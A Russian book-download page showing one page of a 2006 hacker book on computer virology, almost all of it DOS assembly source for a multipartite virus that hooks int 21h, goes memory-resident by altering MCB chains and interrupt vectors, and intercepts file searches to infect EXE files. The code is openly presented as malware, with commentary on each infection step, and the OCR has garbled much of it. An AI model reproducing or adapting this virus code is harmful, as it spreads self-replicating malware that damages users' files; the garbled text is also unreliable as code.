Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 87 88 89 90 91 92 < 93 > 94 95 96 97 98 99 .. 123 >> Следующая

HOSTS DW 0,STACKSIZE {сегменты стека и кода жертвы
ПОЛ
ГЛАВА 7. Многоцелевые вирусы
FILLER DW ? ;они динамично устанавливаются вирусом HOSTC DD 0 ;но
закодированы в 1 -м поколении OLD_21H DD ? {старый вектор int 21h
INT.21H:
cmp ах,4С00Н {стандартно прерываемая DOS-программа? jne 121_1 {нет,
опробуем следующую функцию cmp cs:[LOWMEM],0 ;уже в нижней памяти? je
GO_LOW ;нет, перейти в нижнюю память 121_1:
cmp ah, 11Н {DOS-функция Search First (найти первый) jne 121_2 ;нет,
пытаемся найти следующий jmp SRCH_HOOK_START ;да, выполняем перехват
121_2:
cmp ah, 12Н {Search next (найти следующий)? jne 121_3 ;нет, продолжаем
jmp SRCH_HOOK ;да, выполняем перехват 121_3:
I21R: jmp DWORD PTR cs:[OLD_21H] {прыгаем к старому
{обработчику
Эта подпрограмма перемещает вирус в нижнюю память, превращая функцию
4С00Н int 21h в функцию 3100Н (вызов TSR) int 21h. Вирус переходит в
память, отданную программой.
GO_LOW:
mov cs:[LOWMRri],1 {устанавливаем флаг; указывая на выполнение mov ah,62H
{получаем PSP процесса
int {требуем приостановки
ч
add Ьх,10Н {подстраиваем PSP
sub bx,7C0H-32*(V1R_SlZE+1) {подстраиваем начальный офсет
{вируса
mov es.bx {помещаем его сюда
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
push cs
pop ds ;ds=cs
mov si,OFFSET BBS ;передвигаем вирус в PSP mov di.si
mov cx,512*(ViR_SIZE+2) rep movsb xor ax.ax
mov ds.ax ;ds=0
mov bx,21 H*4 ;проверяем вектор int 21 h
cmp [bx],OFFSET INT_21H ;он здесь?
jne FIND21H ;нет, меняем локацию, чтобы
mov ax.cs ;лучше найти его
cmp [bx+2],ax
je SET21H ;иначе, меняем его в таблице векторов прерываний
FIND21H:
push es
mov es,[bx+2] ;вектор не найден - ищем
pop ds ;ds=HOBMfl сегмент
mov di,0 ;он под другим перехватчиком .
mov cx,7FFEH
cld
F21L:
mov ах,OFFSET INT_21 H ;ищем cs:OFFSET INT_21 H repnz scasw ;в этом
сегменте
jnz ABORT_GO_LOW ;не найден, не становимся резидентом mov ax.cs ;ОК,
нашли OFFSET INT_21H
add di,2 ;проверяем правильный cs
dec cx
cmp es:[di],ax ;он здесь? jne F21L ;нет, продолжаем искать mov ax.ds
;да, нашли
ГЛАВА 7. Многоцелевые вирусы
mov es:[di],ax меняем его на новый cs SET21H:mov [bx+2],es меняем вектор
int 21 h
SET13H:
mov ah,13H ;передвигаем вектор прерывания 13Н push es ;в новый сегмент
pop ds ;ds=es
mov dx,OFFSET INT_13H ;используя этот тайный вызов! mov bx.dx
int 2FH
xor ax,ax .подстраиваем размер памяти из BIOS mov ds.ax ; назад к
нормальному add WORD PTR [MEMSIZE],(VIR_SIZE+3)/2 SETUP_MCB: ;теперь
подстраиваем Z-блок
mov ah.52H .получаем список списков @ в es:bx
int 21H
mov dx.es: [bx-2] ; получаем сегмент первого МСВ в ах
xor bx.bx ;теперь находим Z-блок
mov es.dx ;устанавливаем ез=сегмент МСВ
FINDZ:
cmp BYTE PTR es:[bx],T
je FOUNDZ .получаем его
mov dx.es ;нет, переходим к следующему в цепи
inc dx
add dx.es: [bx+3]
mov es.dx
jmp FINDZ
FOUNDZ:
add WORD PTR es: [bx+3] ,64* ((VIR_SIZE+3)/2); подстраиваем
;размер
mov ax,31 ООН movdx,10H + 32*(VIR_SiZE+2) .памяти (достаточно для вируса)
GLX:
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jmp DWORD PTR cs:[OLD_21H] ;пустъ теперь DOS делает TSR ABORT_GO_LOW:
mov ax,4C00H {выполняем нормальную DOS-приостановку jmp GLX
Далее показаны перехват поиска файлов и подпрограмма инфицирования ЕХЕ-
файлов. Эта часть кода перехватывает основанные на FCB DOS-функции Search
First (11Н) и Search Next (12H).
F1LE_FND DB 0 {файл находит флаг 1 - поиск нашел ;что-то
SRCH_HOOK_START:
mov cs:[FILE_FND],0
SRCH_HOOK:
pushf {вызов оригинального обработчика int 21 h
call DWORD PTR cs:[OLD_21 H]
or al.al {выполнение успешно?
jnz SDONE ;нет, выйти и провести инфицирование
pushf
cmp cs:[F1LE_FND],1 {файл уже получен? je ESF ;да, не продолжать больше
поиск push ах {сохранить регистры
push bx push сх push dx push di push si push es push ds
mov ah,2FH {получить адрес в in es:bx
int 21H
ГЛАВА 7. Многоцелевые вирусы
cmp BYTE PTR es:[bx],0FFH jne SH1 ; расширенный FCB?
acid bx,7 :да, подстроить индекс SH1:
cmp WORD PTR es:[bx+9],'XF
jne EXIT_SRCH проверить наличие ЕХЕ-файла
cmp BYTE PTR es:[bx+11],'F
jne EXIT_SRCH ;если не EXE, вернуть контроль вызывающей '.подпрограмме
call FILE.OK;годен для инфицирования? jz EXfT_SRCH ;нет, выйти к
вызывающей подпрограмме call SETUP_DATA ;да, установить данные для
последующего ;вызова INFECT EXIT_SRCH: pop ds pop es
pop si восстановить регистры
pop di
pop dx
pop cx
pop bx
pop ax
ESR
popf
retf 2; возврат к оригинальной подпрограмме вызова ;с текущими флагами
На этой стадии поиск выполнен, и мы можем заняться инфицированием, если
пригодный файл найден:
SDONE:
pushf
cmp cs:[RLE_FND],1 ;что-то найдено?
бое
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jne SEXIT ;нет, возврат к подпрограмме вызова push ах ;иначе, приступить
к инфицированию push bx push сх
push dx push ds push es
call INFECT_FILE {выполнить инфицирование mov cs:[FlLE_FND],0 ;и сбросить
этот флаг pop es pop ds pop dx pop cx pop bx pop ax SEXIT: popf retf 2
Эта подпрограмма устанавливает все данные, которые требуются механизму
Предыдущая << 1 .. 87 88 89 90 91 92 < 93 > 94 95 96 97 98 99 .. 123 >> Следующая